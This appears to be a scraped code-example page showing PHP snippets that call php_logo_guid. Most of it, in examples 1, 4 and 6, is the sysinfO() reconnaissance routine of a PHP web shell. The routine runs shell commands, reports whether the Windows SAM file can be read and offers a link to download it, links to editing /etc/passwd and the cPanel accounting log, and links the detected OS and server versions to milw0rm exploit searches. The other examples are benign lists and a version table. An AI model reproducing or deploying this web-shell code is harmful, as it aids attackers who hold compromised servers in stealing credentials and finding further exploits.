function sysinfO()
{
    global $windows, $disablefunctions, $cwd, $safemode;
    $t8 = "<td width='25%' bgcolor='#808080'>";
    $t6 = "<td width='25%' bgcolor='#666666'>";
    $mil = "<a target='_blank' href='http://www.milw0rm.org/related.php?program=";
    $basedir = ini_get('open_basedir') || strtoupper(ini_get('open_basedir')) == 'ON' ? 'ON' : 'OFF';
    if (!empty($_SERVER['PROCESSOR_IDENTIFIER'])) {
        $CPU = $_SERVER['PROCESSOR_IDENTIFIER'];
    }
    $osver = $tsize = $fsize = '';
    if ($windows) {
        $osver = '  (' . shelL('ver') . ')';
        $sysroot = shelL("echo %systemroot%");
        if (empty($sysroot)) {
            $sysroot = $_SERVER['SystemRoot'];
        }
        if (empty($sysroot)) {
            $sysroot = getenv('windir');
        }
        if (empty($sysroot)) {
            $sysroot = 'Not Found';
        }
        if (empty($CPU)) {
            $CPU = shelL("echo %PROCESSOR_IDENTIFIER%");
        }
        for ($i = 66; $i <= 90; $i++) {
            $drive = chr($i) . ':\\';
            if (is_dir($drive)) {
                $fsize += disk_free_space($drive);
                $tsize += disk_total_space($drive);
            }
        }
    } else {
        $fsize = disk_free_space('/');
        $tsize = disk_total_space('/');
    }
    $disksize = 'Used spase: ' . showsizE($tsize - $fsize) . ' Free space: ' . showsizE($fsize) . ' Total space: ' . showsizE($tsize);
    if (empty($CPU)) {
        $CPU = 'Unknow';
    }
    $os = php_uname();
    $osn = php_uname('s');
    if (!$windows) {
        $ker = php_uname('r');
        $o = $osn == 'Linux' ? 'Linux+Kernel' : $osn;
        $os = str_replace($osn, "{$mil}{$o}'>{$osn}</a>", $os);
        $os = str_replace($ker, "{$mil}Linux+Kernel'>{$ker}</a>", $os);
        $inpa = ':';
    } else {
        $sam = $sysroot . "\\system32\\config\\SAM";
        $inpa = ';';
        $os = str_replace($osn, "{$mil}MS+Windows'>{$osn}</a>", $os);
    }
    $software = str_replace('Apache', "{$mil}Apache'>Apache</a>", $_SERVER['SERVER_SOFTWARE']);
    echo "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td>Server information:</td></tr><tr>{$t6}Server:</td><td bgcolor='#666666'>" . $_SERVER['HTTP_HOST'];
    if (!empty($_SERVER["SERVER_ADDR"])) {
        echo "(" . $_SERVER["SERVER_ADDR"] . ")";
    }
    echo "</td></tr><tr>{$t8}Operation system:</td><td bgcolor='#808080'>{$os}{$osver}</td></tr><tr>{$t6}Web server application:</td><td bgcolor='#666666'>{$software}</td></tr><tr>{$t8}CPU:</td><td bgcolor='#808080'>{$CPU}</td></tr>{$t6}Disk status:</td><td bgcolor='#666666'>{$disksize}</td></tr><tr>{$t8}User domain:</td><td bgcolor='#808080'>";
    if (!empty($_SERVER['USERDOMAIN'])) {
        echo $_SERVER['USERDOMAIN'];
    } else {
        echo "Unknow";
    }
    echo "</td></tr><tr>{$t6}User name:</td><td bgcolor='#666666'>";
    $cuser = get_current_user();
    if (!empty($cuser)) {
        echo get_current_user();
    } else {
        echo "Unknow";
    }
    echo "</td></tr>";
    if ($windows) {
        echo "<tr>{$t8}Windows directory:</td><td bgcolor='#808080'><a href='" . hlinK("seC=fm&workingdiR={$sysroot}") . "'>{$sysroot}</a></td></tr><tr>{$t6}Sam file:</td><td bgcolor='#666666'>";
        if (is_readable($sam)) {
            echo "<a href='" . hlinK("?workingdiR={$sysroot}\\system32\\config&downloaD=sam") . "'>Readable</a>";
        } else {
            echo 'Not readable';
        }
        echo '</td></tr>';
    } else {
        echo "<tr>{$t8}Passwd file:</td><td bgcolor='#808080'>";
        if (is_readable('/etc/passwd')) {
            echo "<a href='" . hlinK("seC=edit&filE=/etc/passwd&workingdiR={$cwd}") . "'>Readable</a>";
        } else {
            echo 'Not readable';
        }
        echo "</td></tr><tr>{$t6}{$mil}cpanel'>cPanel</a>:</td><td bgcolor='#666666'>";
        $cp = '/usr/local/cpanel/version';
        $cv = file_exists($cp) && is_writable($cp) ? trim(file_get_contents($cp)) : 'Unknow';
        echo "{$cv} (Log file: ";
        if (file_exists('/var/cpanel/accounting.log')) {
            if (is_readable('/var/cpanel/accounting.log')) {
                echo "<a href='" . hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR={$cwd}") . "'>Readable</a>";
            } else {
                echo 'Not readable';
            }
        } else {
            echo 'Not found';
        }
        echo ')</td></tr>';
    }
    echo "<tr>{$t8}{$mil}PHP'>PHP</a> version:</td><td bgcolor='#808080'><a href='?=" . php_logo_guid() . "' target='_blank'>" . PHP_VERSION . "</a> (<a href='" . hlinK("seC=phpinfo&workingdiR={$cwd}") . "'>more...</a>)</td></tr><tr>{$t6}Zend version:</td><td bgcolor='#666666'>";
    if (function_exists('zend_version')) {
        echo "<a href='?=" . zend_logo_guid() . "' target='_blank'>" . zend_version() . '</a>';
    } else {
        echo 'Not Found';
    }
    echo "</td><tr>{$t8}Include path:</td><td bgcolor='#808080'>" . str_replace($inpa, ' ', DEFAULT_INCLUDE_PATH) . "</td><tr>{$t6}PHP Modules:</td><td bgcolor='#666666'>";
    $ext = get_loaded_extensions();
    foreach ($ext as $v) {
        echo $v . ' ';
    }
    echo "</td><tr>{$t8}Disabled functions:</td><td bgcolor='#808080'>";
    if (!empty($disablefunctions)) {
        echo $disablefunctions;
    } else {
        echo 'Nothing';
    }
    echo "</td></tr><tr>{$t6}Safe mode:</td><td bgcolor='#666666'>{$safemode}</td></tr><tr>{$t8}Open base dir:</td><td bgcolor='#808080'>{$basedir}</td></tr><tr>{$t6}DBMS:</td><td bgcolor='#666666'>";
    $sq = '';
    if (function_exists('mysql_connect')) {
        $sq = "{$mil}MySQL'>MySQL</a> ";
    }
    if (function_exists('mssql_connect')) {
        $sq .= " {$mil}MSSQL'>MSSQL</a> ";
    }
    if (function_exists('ora_logon')) {
        $sq .= " {$mil}Oracle'>Oracle</a> ";
    }
    if (function_exists('sqlite_open')) {
        $sq .= ' SQLite ';
    }
    if (function_exists('pg_connect')) {
        $sq .= " {$mil}PostgreSQL'>PostgreSQL</a> ";
    }
    if (function_exists('msql_connect')) {
        $sq .= ' mSQL ';
    }
    if (function_exists('mysqli_connect')) {
        $sq .= ' MySQLi ';
    }
    if (function_exists('ovrimos_connect')) {
        $sq .= ' Ovrimos SQL ';
    }
    if ($sq == '') {
        $sq = 'Nothing';
    }
    echo "{$sq}</td></tr>";
    if (function_exists('curl_init')) {
        echo "<tr>{$t8}cURL support:</td><td bgcolor='#808080'>Enabled ";
    }
    if (function_exists('curl_version')) {
        $ver = curl_version();
        echo '(Version:' . $ver['version'] . ' OpenSSL version:' . $ver['ssl_version'] . ' zlib version:' . $ver['libz_version'] . ' host:' . $ver['host'] . ')';
    }
    echo '</td></tr></table>';
}
Exemplo n.º 2
0
 function php_egg_logo_guid()
 {
     return zend_logo_guid();
 }
Exemplo n.º 3
0
eregi_replace();
import_request_variables();
mcrypt_generic_end();
mysql_db_query();
mysql_escape_string();
mysql_list_dbs();
mysqli_bind_param();
mysqli_bind_result();
mysqli_client_encoding();
mysqli_fetch();
mysqli_param_count();
mysqli_get_metadata();
mysqli_send_long_data();
magic_quotes_runtime();
session_register();
session_unregister();
session_is_registered();
set_magic_quotes_runtime();
set_socket_blocking();
split();
spliti();
sql_regcase();
php_logo_guid();
php_egg_logo_guid();
php_real_logo_guid();
zend_logo_guid();
datefmt_set_timezone_id();
mcrypt_ecb();
mcrypt_cbc();
mcrypt_cfb();
mcrypt_ofb();
Exemplo n.º 4
0
     echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Cpanel log file:</td><td bgcolor=\"#666666\">";
     if (file_exists("/var/cpanel/accounting.log")) {
         if (is_readable("/var/cpanel/accounting.log")) {
             echo "<a href=\"" . hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR={$cwd}") . "\"><font color=#66ffff>Readable</font></a>";
         } else {
             echo "Not readable";
         }
     } else {
         echo "Not found";
     }
     echo "</td></tr>";
 }
 $uip = !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : getenv('REMOTE_ADDR');
 echo "\r\n<tr><td width=\"25%\" >{$mil}PHP\"><font color=yellow>PHP</font></a> version:</td>\r\n<td ><a href=\"?=" . php_logo_guid() . "\" target=\"_blank\"><font color=yellow>" . PHP_VERSION . "</font></a> \r\n(<a href=\"" . $surl . "act=phpinfo\"><font color=yellow>more...</font></a>)</td></tr>\r\n<tr><td width=\"25%\" bgcolor=\"#666666\">Zend version:</td>\r\n<td bgcolor=\"#666666\">";
 if (function_exists('zend_version')) {
     echo "<a href=\"?=" . zend_logo_guid() . "\" target=\"_blank\"><font color=#66ffff>" . zend_version() . "</font></a>";
 } else {
     echo "Not Found";
 }
 echo "</td>\r\n<tr><td width=\"25%\" >Include path:</td>\r\n<td >" . str_replace($inpa, " ", DEFAULT_INCLUDE_PATH) . "</td>\r\n<tr><td width=\"25%\" bgcolor=\"#666666\">PHP Modules:</td>\r\n<td bgcolor=\"#666666\">";
 $ext = get_loaded_extensions();
 foreach ($ext as $v) {
     echo $v . " ";
 }
 echo "</td><tr><td width=\"25%\" >Disabled functions:</td><td >";
 if (!empty($disablefunctions)) {
     echo $disablefunctions;
 } else {
     echo "Nothing";
 }
 echo "</td></tr>\r\n<tr><td width=\"25%\" bgcolor=\"#666666\">Safe mode:</td><td bgcolor=\"#666666\">{$sfmode}</font></td></tr>\r\n<tr><td width=\"25%\" >Open base dir:</td><td >{$basedir}</td></tr>\r\n<tr><td width=\"25%\" bgcolor=\"#666666\">DBMS:</td>\r\n<td bgcolor=\"#666666\">";
Exemplo n.º 5
0
<table>
 <tr>
  <th>PHP version</th><td><?php 
echo phpversion();
?>
</td><td><?php 
echo '<img src="' . $_SERVER['PHP_SELF'] . '?=' . php_logo_guid() . '" alt="PHP Logo !" />';
?>
</td>
 </tr>
 <tr>
  <th>Zend engine version</th><td><?php 
echo zend_version();
?>
</td><td style="text-align:center"><?php 
echo '<img src="' . $_SERVER['PHP_SELF'] . '?=' . zend_logo_guid() . '" alt="Zend Logo !" />';
?>
</td>
 </tr>
 <tr><th>SAPI interface</th><td colspan="2"><?php 
echo php_sapi_name();
?>
</td></tr>
</table>

<h3>Loaded Extensions</h3>

<table>
<?php 
foreach (get_loaded_extensions() as $i => $ext) {
    echo " <tr>\n";
Exemplo n.º 6
0
function sysinfO()
{
    global $windows, $disablefunctions, $safemode;
    $cwd = getcwd();
    $mil = "<a target=\"_blank\" href=\"http://www.milw0rm.org/related.php?program=";
    $basedir = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir")) == "ON") ? "ON" : "OFF";
    if (!empty($_SERVER["PROCESSOR_IDENTIFIER"])) {
        $CPU = $_SERVER["PROCESSOR_IDENTIFIER"];
    }
    $osver = $tsize = $fsize = '';
    if ($windows) {
        $osver = "  (" . shelL("ver") . ")";
        $sysroot = shelL("echo %systemroot%");
        if (empty($sysroot)) {
            $sysroot = $_SERVER["SystemRoot"];
        }
        if (empty($sysroot)) {
            $sysroot = getenv("windir");
        }
        if (empty($sysroot)) {
            $sysroot = "Not Found";
        }
        if (empty($CPU)) {
            $CPU = shelL("echo %PROCESSOR_IDENTIFIER%");
        }
        for ($i = 66; $i <= 90; $i++) {
            $drive = chr($i) . ':\\';
            if (is_dir($drive)) {
                $fsize += @disk_free_space($drive);
                $tsize += @disk_total_space($drive);
            }
        }
    } else {
        $fsize = disk_free_space('/');
        $tsize = disk_total_space('/');
    }
    $disksize = "Used spase: " . showsizE($tsize - $fsize) . "   Free space: " . showsizE($fsize) . "   Total space: " . showsizE($tsize);
    if (empty($CPU)) {
        $CPU = "Unknow";
    }
    $os = php_unamE();
    $osn = php_unamE('s');
    if (!$windows) {
        $ker = php_unamE('r');
        $o = $osn == "Linux" ? "Linux+Kernel" : $osn;
        $os = str_replace($osn, "{$mil}{$o}\">{$osn}</a>", $os);
        $os = str_replace($ker, "{$mil}Linux+Kernel\">{$ker}</a>", $os);
        $inpa = ':';
    } else {
        $sam = $sysroot . "\\system32\\config\\SAM";
        $inpa = ';';
        $os = str_replace($osn, "{$mil}MS+Windows\">{$osn}</a>", $os);
    }
    $software = str_replace("Apache", "{$mil}Apache\">Apache</a>", $_SERVER['SERVER_SOFTWARE']);
    echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td>Server information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\">" . $_SERVER["HTTP_HOST"];
    if (!empty($_SERVER["SERVER_ADDR"])) {
        echo "(" . $_SERVER["SERVER_ADDR"] . ")";
    }
    echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Operation system:</td><td bgcolor=\"#808080\">{$os}{$osver}</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Web server application:</td><td bgcolor=\"#666666\">{$software}</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">CPU:</td><td bgcolor=\"#808080\">{$CPU}</td></tr><td width=\"25%\" bgcolor=\"#666666\">Disk status:</td><td bgcolor=\"#666666\">{$disksize}</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">User domain:</td><td bgcolor=\"#808080\">";
    if (!empty($_SERVER['USERDOMAIN'])) {
        echo $_SERVER['USERDOMAIN'];
    } else {
        echo "Unknow";
    }
    echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">User name:</td><td bgcolor=\"#666666\">";
    $cuser = get_current_user();
    if (!empty($cuser)) {
        echo get_current_user();
    } else {
        echo "Unknow";
    }
    echo "</td></tr>";
    if ($windows) {
        echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Windows directory:</td><td bgcolor=\"#808080\"><a href=\"" . hlinK("seC=fm&workingdiR={$sysroot}") . "\">{$sysroot}</a></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Sam file:</td><td bgcolor=\"#666666\">";
        if (is_readable($sam)) {
            echo "<a href=\"" . hlinK("?workingdiR={$sysroot}\\system32\\config&downloaD=sam") . "\">Readable</a>";
        } else {
            echo "Not readable";
        }
        echo "</td></tr>";
    } else {
        echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Passwd file:</td><td bgcolor=\"#808080\">";
        if (is_readable('/etc/passwd')) {
            echo "<a href=\"" . hlinK("seC=edit&filE=/etc/passwd&workingdiR={$cwd}") . "\">Readable</a>";
        } else {
            echo 'Not readable';
        }
        echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Cpanel log file:</td><td bgcolor=\"#666666\">";
        if (file_exists("/var/cpanel/accounting.log")) {
            if (is_readable("/var/cpanel/accounting.log")) {
                echo "<a href=\"" . hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR={$cwd}") . "\">Readable</a>";
            } else {
                echo "Not readable";
            }
        } else {
            echo "Not found";
        }
        echo "</td></tr>";
    }
    $uip = !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : getenv('REMOTE_ADDR');
    echo "<tr><td width=\"25%\" bgcolor=\"#808080\">{$mil}PHP\">PHP</a> version:</td><td bgcolor=\"#808080\"><a href=\"?=" . php_logo_guid() . "\" target=\"_blank\">" . PHP_VERSION . "</a> (<a href=\"" . hlinK("seC=phpinfo&workingdiR={$cwd}") . "\">more...</a>)</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Zend version:</td><td bgcolor=\"#666666\">";
    if (function_exists('zend_version')) {
        echo "<a href=\"?=" . zend_logo_guid() . "\" target=\"_blank\">" . zend_version() . "</a>";
    } else {
        echo "Not Found";
    }
    echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Include path:</td><td bgcolor=\"#808080\">" . str_replace($inpa, " ", DEFAULT_INCLUDE_PATH) . "</td><tr><td width=\"25%\" bgcolor=\"#666666\">PHP Modules:</td><td bgcolor=\"#666666\">";
    $ext = get_loaded_extensions();
    foreach ($ext as $v) {
        echo $v . " ";
    }
    echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Disabled functions:</td><td bgcolor=\"#808080\">";
    if (!empty($disablefunctions)) {
        echo $disablefunctions;
    } else {
        echo "Nothing";
    }
    echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Safe mode:</td><td bgcolor=\"#666666\">{$safemode}</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Open base dir:</td><td bgcolor=\"#808080\">{$basedir}</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">DBMS:</td><td bgcolor=\"#666666\">";
    $sq = "";
    if (function_exists('mysql_connect')) {
        $sq = "{$mil}MySQL\">MySQL</a> ";
    }
    if (function_exists('mssql_connect')) {
        $sq .= " {$mil}MSSQL\">MSSQL</a> ";
    }
    if (function_exists('ora_logon')) {
        $sq .= " {$mil}Oracle\">Oracle</a> ";
    }
    if (function_exists('sqlite_open')) {
        $sq .= " SQLite ";
    }
    if (function_exists('pg_connect')) {
        $sq .= " {$mil}PostgreSQL\">PostgreSQL</a> ";
    }
    if (function_exists('msql_connect')) {
        $sq .= " mSQL ";
    }
    if (function_exists('mysqli_connect')) {
        $sq .= " MySQLi ";
    }
    if (function_exists('ovrimos_connect')) {
        $sq .= " Ovrimos SQL ";
    }
    if ($sq == "") {
        $sq = "Nothing";
    }
    echo "{$sq}</td></tr>";
    if (function_exists('curl_init')) {
        echo "<tr><td width=\"25%\" bgcolor=\"#808080\">cURL support:</td><td bgcolor=\"#808080\">Enabled ";
    }
    if (function_exists('curl_version')) {
        $ver = curl_version();
        echo "(Version:" . $ver['version'] . " OpenSSL version:" . $ver['ssl_version'] . " zlib version:" . $ver['libz_version'] . " host:" . $ver['host'] . ")";
    }
    echo "</td></tr>";
    echo "<tr><td>User information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">IP:</td><td bgcolor=\"#666666\">{$uip}</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Agent:</td><td bgcolor=\"#808080\">" . getenv('HTTP_USER_AGENT') . "</td></tr></table>";
}